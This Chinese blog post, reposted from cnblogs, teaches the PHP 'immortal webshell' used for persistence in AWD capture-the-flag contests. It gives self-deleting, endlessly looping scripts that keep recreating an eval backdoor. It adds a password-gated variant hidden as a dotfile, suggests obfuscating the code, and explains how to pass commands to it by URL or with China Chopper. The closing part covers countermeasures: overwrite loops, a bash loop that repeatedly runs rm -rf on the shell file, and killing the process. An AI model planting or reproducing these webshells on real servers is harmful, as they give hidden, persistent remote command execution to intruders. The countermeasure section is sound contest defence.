不死马

借鉴文章

不死马常用于AWD模式,用于权限维持,首先上传一个不死马,然后访问该页面,就会执行不死马,它会以进程的形式运行,不断的生成文件,即使被发现也不容易被删掉,同时注意上传的目录是否有权限

不死马

<?php
 
set_time_limit(0);   //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长
 
ignore_user_abort(1);  //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将继续运行。
 
unlink(__FILE__);     //删除自身
 
while(1)
 
{    
file_put_contents('./shell.php','<?php @eval($_GET[cmd]);?>'); //创建shell.php sleep(0); //间隔时间 } ?>

上传之后,访问该页面,就会不断生成shell.php,我们就直接可以利用shell.php

同时为了防止被其他人利用,可以进行修改,用md5验证,或者其他利用方法验证,只要不让其他人搭顺风车就可以,在文件前面加个点在Linux系统中变成隐藏文件,以用来隐蔽自己,当然也可以用其他编码或者其他方法来混淆代码,让其他人看不出来或无法直接利用

<?php

ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.shell.php';
$code = '<?php if(md5($_GET["passwd"])=="76a2173be6393254e72ffa4d6df1030a"){@eval($_REQUEST[cmd]);} ?>';
while (1){
    file_put_contents($file,$code);
    usleep(5000);
}
?>

这样就可以直接利用URL传参.shell.php?passwd=passwd&cmd=你要执行的命令; 或者利用菜刀

被中了不死马怎么办,最简单的是重启服务器,然后删掉木马文件,但大多比赛无法重启服务的权限,不过可以通过不断向木马文件复写来克制,前提是写入速度要大于不死马的生成速度

<?php
set_time_limit(0);
ignore_user_abort(true);
unlink(__FILE__);
while(1)
{
        file_put_contents('./shell.php','11111');
        usleep(0);
}
?>

也可以用bash不断的删除文件

#!/bin/bash
while : ;do rm -rf .shell.php; done;

或者不断的删除程序和杀进程

<?php
while (1) {
    $pid=xxx;
    @unlink('shell.php');
    exec('kill -9 $pid');
}
?>
原文地址:https://www.cnblogs.com/gaonuoqi/p/12057662.html